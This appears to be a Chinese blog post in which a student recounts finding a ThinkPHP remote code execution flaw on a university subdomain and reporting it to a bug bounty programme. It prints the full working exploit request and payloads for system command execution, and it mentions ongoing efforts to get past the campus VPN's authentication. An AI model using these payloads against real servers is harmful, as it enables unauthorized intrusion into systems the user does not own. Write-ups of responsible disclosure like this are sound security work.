记第一次挖到校园内src的记录
记第一次挖到校园内src的记录
很激动,第一次自己挖到了高危的src,是一个RCE并且直接是administrator的权限,而且漏洞真的很简单,至今我都觉得是全凭运气才挖到的洞。
首先是查询学校相关的域名: https://chaziyu.com/
愚蠢的我当然是一个个域名去访问,基本相当于手工探测,当然也可以写脚本遍历,然后查看返回状态码,但是具体的网站内容还是需要自己去看的。
直到我访问到了 http://sanyuandj.xxx.edu.cn 这个域名,页面如下:
这个页面只有在内网可以访问,但是如果能够突破校园网VPN的话就行了,这个我正在努力中哈哈。。。
最主要的是这个页面的右下角有一个调试框,有很多信息泄露
到这里我可以确定这个网站是thinkphp的CMS框架了,而且既然有调试框留在页面,想必这个网站开发得很粗糙,感觉肯定是有漏洞的,于是开Nessus扫一下
存在高危漏洞,但也只是php版本过低 php7.1.9,而且是一个过时的有漏洞的版本CVE-2019-11043,官方都停止更新了。但是确实收集到了很多有用信息,例如网站目录信息,各种端口的开放情况,系统信息等。但是当我利用php7.1.9的漏洞利用工具时,却无法有效的利用该漏洞。
后面卡了一下感觉是利用条件可能没有达到,一共有三条:
- 已安装易受攻击的PHP版本
- 底层服务器是NGINX
- php-fpm已启用
这里我不确定这个php-fpm有没有启用,而且当访问index.php时页面会自动跳转返回302,即使我确定这个文件是存在的,到这里进度停了,决定从别处入手
之前有提到thinkphp这个cms,既然php的版本都这么老,cms的版本也高不到哪里去,于是我开始搜索thinkphp相关的poc
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
那么当然,我开始一个个试,但我发现页面都是404
当时我还觉得有点不好搞,但是我对这个poc里的反斜杠一直很在意,于是尝试一下将反斜杠去掉,换成斜杠“/”,于是惊喜的一幕出现了
这里抛出了相当多的报错信息,而且并且将所有的环境变量都列了出来,于是发现thinkphp版本为5.0.21,操作系统为windows NT,更加确定是有漏洞的存在。
但是这里也遇到一个问题,我不确定命令是否执行,也没有返回消息,在各种尝试后发现依然无法利用(我觉得还是我太菜了),于是我持续搜索thinkphp存在的漏洞,偶然发现在thinkphp5.0.23版本以下也存在另一个RCE漏洞,但是是通过POST方式提交的,这里一下子激起了我的兴趣,看过小迪的可能知道,GET转POST可能有奇效,这里我直接双管齐下。
post poc: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
https://blog.csdn.net/qq_67473072/article/details/131696323
整体的数据包头部如下:
POST /?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami HTTP/2
Host: sanyuandj.xxx.edu.cn
Cookie: Path=/; PHPSESSID=3r3597lshgf7jn5g13vvkle9hq; thinkphp_show_page_trace=0|1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
_method=__construct&filter[]=system&method=get
在我一通操作下,页面神奇的有返回值,并且返回命令执行结果。
至此,成功拿下RCE漏洞,并且直接是管理员权限。接下来已经无需操作了,直接提交Edu src。
但是局限是,这个网站是内网访问的,外网需要走VPN,绕过VPN进内网这一点我还没有突破,只是通过搜索发现了vpn的url加密方式,但是vpn需要强制身份认证,这一点有待我后续突破。
总结一下:
总的来说,拿下这个RCE全凭运气,cms和php版本很难让人不想搞一下,但是这个漏洞利用的基本原理我是完全不懂的,只知道是什么,怎么用,但不知道为什么。
- 信息收集这一块真的感觉很重要,它会在你思路枯竭时给你提供新的思路。
- 除非有十足的把握,不要死磕一个点,要善于利用现有的全部信息
- poc的变形也很重要,在不同配置下的主机poc肯定会有些许差别,有些时候需要尝试修改
- 最后感觉是锲而不舍的精神吧,不到某一个确定的步骤你都无法确定这个漏洞是否存在,或者说存在了,是否可以利用。漏洞的利用通常是需要特定条件的,运气好的话poc拿来直接用,不好的话只能你知道这个东西有洞,却利用不了,这是很难受的。打这个我搞了两天多的时间,说多不多,但是在整个探索的过程真的很折磨,一直觉得自己在做无用功。
坚持下去吧,总能做出点东西的!慢慢的积累,痛苦的存在是有意义的。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)